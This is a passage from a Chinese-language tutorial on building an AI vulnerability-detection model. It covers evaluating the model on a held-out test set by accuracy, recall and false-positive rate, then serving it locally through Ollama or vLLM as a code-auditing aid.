通常就够重点是用验证集监控过拟合。第四步评估与部署。模型训练完不能直接上战场先做一轮评估。准备一个没参与训练的测试集让模型对代码片段做漏洞判断统计准确率、召回率和误报率。评估工具可以用 Hugging Face 的 evaluate 库或者自己写脚本对比模型输出和人工标注。部署方面如果只是自己用可以用 Ollama 或 vLLM 在本地起一个推理服务把模型封装成 API再写一个简单的命令行工具或 Web 界面把待审计的代码喂进去就能出结果。这里有个实战建议AI 挖洞模型定位是辅助不是替代它帮你快速筛出可疑点最终确认和利用还是要靠人工这样既能提升效率又不会因为误报漏掉真正的漏洞。
返回列表